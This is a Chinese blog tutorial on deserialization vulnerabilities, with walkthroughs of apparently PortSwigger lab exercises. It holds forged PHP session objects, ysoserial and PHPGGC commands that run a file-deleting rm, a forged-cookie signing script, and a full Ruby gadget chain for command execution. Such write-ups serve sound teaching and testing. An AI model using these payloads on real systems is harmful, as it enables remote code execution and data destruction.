天天看點

Deserialization反序列化漏洞

一、基礎知識

1. 序列化與反序列化

序列化(serialization):

将複雜的資料結構(如對象及其字段)轉換為可作為連續位元組流發送和接收的“平面”格式的過程。作用如下:
  • 将接收到的複雜資料寫入程序記憶體、檔案或資料庫
  • 通過網絡,在應用程式不同元件間或API調用中傳送資料
在序列化對象時,其狀态也是持久化的。換句話說,對象的屬性及其指派将被保留。僅僅是資料格式變為了“扁平”化。

反序列化(Deserialization):

将位元組流(序列化對象)恢複為原始對象的全功能副本的過程,其狀态與序列化時完全相同。網站可以與這個反序列化對象互動,就像與任何其他對象互動一樣。

2. 不同語言的序列化實作

  • JAVA 序列化為二進制格式

雖不可讀,但可識别二進制位元組開頭來快速識别:以十六進制編碼為

ac

,以Base64編碼為

rO0

任何實作了接口

java.io.Serializable

的類都可以被序列化和反序列化。

閱讀源碼時,注意ReadObject()方法的任何代碼,該方法用于從InputStream讀取和反序列化資料。
  • PHP 序列化為字元串格式
// 應該從查找代碼中任何位置的unSerialize()開始
$user->name = "carlos"; 
$user->isLoggedIn = true;
           

O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}

  • Ruby 序列化又名marshalling
  • Python 序列化又名pickling

3. 反序列化的安全問題

不安全的反序列化是指使用者可控制的資料被網站反序列化。這可能使攻擊者操縱序列化對象,以便将有害資料傳遞到應用程式代碼中。
  • 不安全的反序列化有時被稱為“對象注入”漏洞。
  • 許多基于反序列化的攻擊都是在反序列化完成之前完成的。這意味着反序列化過程本身可以發起攻擊,即使網站本身的功能不直接與惡意對象互動。
  • 反序列化對象通常被認為是值得信任的。尤其是二進制序列化格式的語言時,開發人員可能會認為使用者無法有效地讀取或操作資料。可實際恰恰相反
  • 不可能安全地反序列化不受信任的輸入。
由于網站中存在大量依賴項,基于反序列化的攻擊也成為可能。一個典型的站點可能會實作許多不同的庫,每個庫也有自己的依賴項。這建立了一個難以安全管理的大量類和方法池。由于攻擊者可以建立這些類中的任何一個類的執行個體,很難預測可以對惡意資料調用哪些方法。如果攻擊者能夠将一系列意想不到的方法調用連結在一起,将資料傳遞到與初始源完全無關的接收器中,那麼預測惡意資料流并堵塞每個潛在漏洞幾乎是不可能的。

二、漏洞識别和利用

1. 操縱序列化對象

操作序列化對象時,可以采用兩種方法。
  • 可以直接以位元組流的形式編輯對象,
  • 可以用相應的語言編寫一個簡短的腳本來自己建立和序列化新對象。

在使用二進制序列化格式時,後一種方法通常更容易

(1) 修改對象屬性

篡改資料時,隻要攻擊者保留有效的序列化對象,反序列化過程就會使用修改後的屬性值建立伺服器端對象。
  • 在HTTP請求中發現序列化對象
  • 解碼已檢視位元組流

O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

  • 發現屬性isAdmin,嘗試修改為1,并用修改後的值覆寫目前的Cookie。利用程式邏輯自動反序列化
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}
           
  • 權限提升成功
這種簡單的場景并不常見。以這種方式編輯屬性值示範了由不安全反序列化暴露的大量攻擊面的第一步。
例題1

(2) 修改資料類型

以php舉例:基于PHP的邏輯在比較不同資料類型時,由于其松散比較運算符(==)的行為,特别容易受到這種操作的影響。

5 == "5 of something" //true

0 == "Example string" // true

程式驗證邏輯,往往是

$login = unserialize($_COOKIE)
  if ($login['password'] == $password) {
    // log in successfully
}
/*
假設攻擊者修改了Password屬性,使其包含整數0而不是預期的字元串。
隻要存儲的密碼不是以數字開頭,條件将始終傳回TRUE,進而啟用身份驗證繞過。
請注意,這隻可能是因為反序列化保留了資料類型。
如果代碼直接從請求中擷取密碼,則0将被轉換為字元串,并且條件的計算結果為FALSE。
*/
           
在修改任何序列化對象格式的資料類型時,要同步更新序列化資料中的任何類型标簽和長度訓示符
例題 2

2. 使用應用程式功能

除了簡單地檢查屬性值之外,網站的功能還可能對反序列化對象中的資料執行危險的操作。
可以使用不安全的反序列化來傳遞資料,并利用相關功能進行破壞。
例題 3

3. 使用攻擊鍊攻擊(魔術方法)

魔術方法屬于非顯式調用的特殊方法。隻要發生特定事件或場景,就會自動調用它們。魔術方法是面向對象程式設計語言的共同特征。它們在方法名前加上雙下劃線來表示。

PHP __construct() __wakeup()

Python __init__

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException
{
// implementation
}
           

(1) 注入任意對象

在面向對象程式設計中,對象可用的方法由其類确定。是以,如果攻擊者可以操縱作為序列化資料傳入的對象類,他們就可以影響在反序列化之後甚至在反序列化期間執行的代碼。
  • 傳入網站可用的任何可序列化對象(攻擊者定制的惡意對象)
  • 程式魔術方法直接将該對象反序列化
  • 意外的對象可能會在應用程式中導緻異常。但惡意對象已經被執行個體化了。攻擊已經發生。
攻擊者檢視源碼
  • 查找研究所有可用的類
  • 查找其中包含反序列化魔術方法的類,是否存在對可控資料執行的危險操作
  • 将資料傳入此類的序列化對象,使程式自動調用該類魔術方法形成攻擊
例題4

(2) 小工具鍊攻擊原理(攻擊鍊)

包含這些反序列化魔術方法的類還可以用來發起更複雜的攻擊,這些攻擊涉及一系列較長的方法調用,稱為“小工具鍊”(攻擊鍊)。

所有代碼都已經存在于網站上。攻擊者唯一控制的就是傳遞到小工具鍊中的資料。

“小工具”是應用程式中的一段代碼,可以幫助攻擊者實作特定目标。單個小工具可能不會直接對使用者輸入做任何有害的事情。然而,攻擊者的目标可能隻是調用一個方法,該方法将他們的輸入傳遞到另一個小工具。通過以這種方式将多個小工具連結在一起,攻擊者可能會将它們的輸入傳遞到危險的“接收器小工具”中,進而造成最大的破壞。

(3) 使用預置的小工具鍊

手動識别小工具鍊可能是一個相當艱巨的過程,如果沒有源代碼通路,幾乎是不可能的。幸運的是,可以首先嘗試一些使用預建小工具鍊的攻擊。

小工具:ysoserial

測試Java deserialization

小工具:PHPGGC

測試 PHP-based sites deserialization

例題 5、6
URLDNS鍊觸發對提供的URL的DNS查找。最重要的是,它不依賴于使用特定易受攻擊的庫的目标應用程式,并且可以在任何已知的Java版本中運作。這使其成為用于檢測目的的最通用的小工具鍊。如果您在流量中發現序列化對象,您可以嘗試使用此小工具鍊生成一個對象,該對象觸發與Burp Collaborator伺服器的DNS互動。如果是這樣的話,您可以确定目标上發生了反序列化。
JRMPClient是另一個可用于初始檢測的通用鍊。它會導緻伺服器嘗試建立到提供的IP位址的TCP連接配接。請注意,您需要提供原始IP位址,而不是主機名。此鍊在所有出站流量都經過防火牆保護的環境中可能很有用,包括DNS查找。您可以嘗試使用兩個不同的IP位址生成有效負載:本地IP位址和有防火牆的外部IP位址。如果應用程式立即響應具有本地位址的有效負載,但挂起具有外部位址的有效負載,導緻響應延遲,這表明小工具鍊工作,因為伺服器嘗試連接配接到防火牆位址。在這種情況下,響應的細微時間差可以幫助檢測伺服器上是否發生了反序列化,即使在盲測情況下也是如此。

(4) 網上搜尋公開的攻擊鍊

可能并不總是有專用工具可用。在這種情況下,網上搜尋公開的漏洞。有時需要自己序列化對象進行嘗試,但這種方法仍然比從頭開始建構利用漏洞的工作要少得多。

例題7

(5) 建立自己的攻擊鍊

  1. 嘗試上述(1)~(4)方式均不奏效
  2. 必須找到源碼至少是部分源碼
  3. 仔細分析每一個包含魔術方法的類,尤其是涉及到反序列化方法
  4. 對挑選出來的類進行詳細測試分析,是否對輸入的資料有任何‘危險’操作
  5. 對候選方法如能自動調用最好,如不能,就得找出辦法觸發調用
  6. 詳細跟蹤你輸入資料的全流程,要麼進入dead end,要麼進入‘候選’工具鍊(a dangerous sink gadget)
  7. 一旦成功建立了攻擊工具鍊,就開始建構有效荷載(如上述(1)~(4)方式)
當進行更重要的更改時,例如傳入一個全新的對象,手動更改過于繁瑣。為了生成和序列化資料,盡量用目智語言編寫代碼實作。
  1. 在自己的小工具鍊成功後,要利用這個攻擊面來觸發二次更深入利用漏洞的機會。不斷擴大影響和危害。
例題8、9、10

三、漏洞執行個體

1. 修改序列化對象(Modifying serialized objects)

目标:提升普通賬戶權限為admin, 删除carlos賬戶。

登陸個人賬戶也後檢視session

GET /my-account HTTP/1.1
Host: ac0c1fff1fdcb086c09bb52600520008.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://ac0c1fff1fdcb086c09bb52600520008.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

           

(1)對cookie先進行url解碼,再進行base64解碼

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

(2)發現admin 嘗試将值改為1

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}

重編碼,先base64,再url

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=

(3)後續抓包替換session即可。

2. 修改序列化資料類型(Modifying serialized data types)

目标:使用administrator身份, 删除carlos賬戶。

(1)解題思路與上題一緻,隻是解碼後發現session裡面多了token

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"e0cnurvtus32l285k61mozei7yiov3ir";}

(2)替換username->administrator和access_token為整數0,同步調整類型長度。

頁面互動以session表示身份,相當于使用username=administrator的身份登陸個人詳情頁。

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

成功

3. 使用應用程式功能來利用不安全的反序列化(Using application functionality to exploit insecure deserialization)

目标:删除carlos使用者的 /home/carlos/morale.txt檔案

登陸普通賬戶,發現存在删除賬戶功能,資料包如下

POST /my-account/delete HTTP/1.1
Host: ac951f1f1ed242ebc0b1ca0b00fc00e0.web-security-academy.net
Cookie: session=; session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6ImpvOGdtbjZkOXVmZGp3cjg5dGphaTVxaW5hb2VlOG1kIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30%3d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close

           

session 解碼後發現avatar_link連結,修改成目标連結後,編碼替換session

session=O:4:“User”:3:{s:8:“username”;s:5:“gregg”;s:12:“access_token”;s:32:“jo8gmn6d9ufdjwr89tjai5qinaoee8md”;s:11:“avatar_link”;s:23:“/home/carlos/morale.txt”;}

成功。普通賬戶删除,同時/home/carlos/morale.txt檔案删除

4. PHP中的任意對象注入(Arbitrary object injection in PHP)

目标:删除carlos使用者的 /home/carlos/morale.txt檔案

hint: 可以通過在檔案名後附加一個波浪号(~)來讀取源代碼,以檢索由編輯器生成的備份檔案。

(1)嘗試之前例題序列化的方式,發現均不成功。

(2)在burp scan頁 發現

/libs/CustomTemplate.php

檔案 。頁面空白證明是有檔案的,web是無法直接顯示php等檔案。

(3)嘗試是否可以使用富文本檔案打開(開發時常使用)。路徑

/libs/CustomTemplate.php~

<?php
  
  class CustomTemplate {
  private $template_file_path;
  private $lock_file_path;
  
  public function __construct($template_file_path) {
    $this->template_file_path = $template_file_path;
    $this->lock_file_path = $template_file_path . ".lock";
  }
  
  private function isTemplateLocked() {
    return file_exists($this->lock_file_path);
  }
  
  public function getTemplate() {
    return file_get_contents($this->template_file_path);
  }
  
  public function saveTemplate($template) {
    if (!isTemplateLocked()) {
      if (file_put_contents($this->lock_file_path, "") === false) {
        throw new Exception("Could not write to " . $this->lock_file_path);
      }
      if (file_put_contents($this->template_file_path, $template) === false) {
        throw new Exception("Could not write to " . $this->template_file_path);
      }
    }
  }
  
  function __destruct() {
    // Carlos thought this would be a good idea
    if (file_exists($this->lock_file_path)) {
      unlink($this->lock_file_path);
    }
  }
}

?>
           

(4)查詢源碼發現魔法函數__destruct()中存在危險函數unlink,如能構造這個類

CustomTemplate

中屬性

lock_file_path

的序列化對象,程式就能自動執行

__destruct()

,删除提供的路徑檔案。

(5)登陸普通賬戶分析session,

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"d1qm12is0hara5h0f60yt3jpfgh3cowb";}

(6)改造後session

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

(7)資料包中替換為新session送出,成功

5. 利用ApacheCommons實作Java反序列化(Exploiting Java deserialization with Apache Commons)

目标:删除carlos使用者的 /home/carlos/morale.txt檔案

(1)嘗試之前例題序列化的方式,發現均不成功。

(2)嘗試解碼session, r0o開頭是java的序列化

rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBkM3psMDc3NTRneHdhaG1ibzFoNGE4MDN6ZXE4em83b3QABndpZW5lcg%3d%3d

(3)首先嘗試一些常用普遍的攻擊鍊(此處使用工具ysoserial)

java -jar path/to/ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

(4)将産生的結果url-encoding後,替換現有session,成功。

6. 使用預建構的小工具鍊利用PHP反序列化(Exploiting PHP deserialization with a pre-built gadget chain)

目标:删除carlos使用者的 /home/carlos/morale.txt檔案

(1)嘗試之前例題序列化的方式,發現均不成功。

(2)通過Burp scaner發現 phpinfo.php修改session 報錯資訊發現如下資訊

SECRET_KEY :rq0rla2xvldf76pqc4ccn3pzt6l6ien1

報錯資訊:Internal Server Error: Symfony Version: 4.3.6

(3)分析sesson發現是php

{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2ZHluYTN4eTU0NTMyN3luejVjMmpiM2J4dDQ0MW9yNSI7fQ==","sig_hmac_sha1":"d386cbc2a851bf51b92b55aac6b961164e438a1e"}

(4)使用工具PHPGGC,生成token值

./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64

(5)編制php腳本生成COOKIE

<?php
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
           
<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$secretKey = "rq0rla2xvldf76pqc4ccn3pzt6l6ien1";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
           

![截屏2022-05-14 18.01.56.png](https://img-blog.csdnimg.cn/img_convert/34da54cab997bba358cd62f4e06f5edc.png#clientId=u6b89ddee-9ff3-4&crop=0&crop=0&crop=1&crop=1&from=drop&id=u10b39596&margin=[object Object]&name=截屏2022-05-14 18.01.56.png&originHeight=1312&originWidth=2388&originalType=binary&ratio=1&rotation=0&showTitle=false&size=375034&status=done&style=none&taskId=u6834cfd9-bd6c-44c3-a87f-2cb1c7e7674&title=)

(6)替換session送出,成功

![截屏2022-05-14 18.04.33.png](https://img-blog.csdnimg.cn/img_convert/52acbb3a5096f36c9da6fd280e3aaba0.png#clientId=u6b89ddee-9ff3-4&crop=0&crop=0&crop=1&crop=1&from=drop&id=u7a4cc635&margin=[object Object]&name=截屏2022-05-14 18.04.33.png&originHeight=1100&originWidth=3300&originalType=binary&ratio=1&rotation=0&showTitle=false&size=923586&status=done&style=none&taskId=uf9930e18-efb4-4840-b5a6-558a157b6b9&title=)

7. 使用文檔記錄的小工具鍊利用Ruby反序列化(Exploiting Ruby deserialization using a documented gadget chain)

目标:删除carlos使用者的 /home/carlos/morale.txt檔案

(1)嘗試之前例題序列化的方式,發現均不成功。

(2)多方嘗試報錯後發現 index.rb 證明該網站是ruby開發的

<section class="maincontainer">
  <div class="container is-page">
    <header class="navigation-header">
    </header>
    <h4>Internal Server Error</h4>
    <p class=is-warning>index.rb:13:in `load&apos;: dump format error for symbol(0x3f) (ArgumentError)
      from -e:13:in `&lt;main&gt;&apos;</p>
  </div>
</section>
           

(3)網上搜尋ruby 小工具鍊相關資訊

https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

複制出文章的最後一個腳本

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Marshal.load(payload)
           

因我對ruby也不是很熟悉,參考tips :

将應該執行的指令從id更改為rm /home/carlos/morale.txt。将最後兩行替換為PUTS Base64.encode64(payload)。這可確定以正确的格式輸出有效負載,以供您在實驗中使用。
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
# rs.instance_variable_set('@git_set', "id")
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
# puts payload.inspect
# puts Marshal.load(payload)
puts Base64.encode64(payload)
           

找個線上平台運作腳本得出結果替換session,成功

8. 為Java反序列化開發自定義小工具鍊(Developing a custom gadget chain for Java deserialization)

暫略

9. 為PHP反序列化開發自定義小工具鍊(Developing a custom gadget chain for PHP deserialization)

暫略

10. 使用Phar反序列化部署自定義小工具鍊(Using PHAR deserialization to deploy a custom gadget chain)

暫略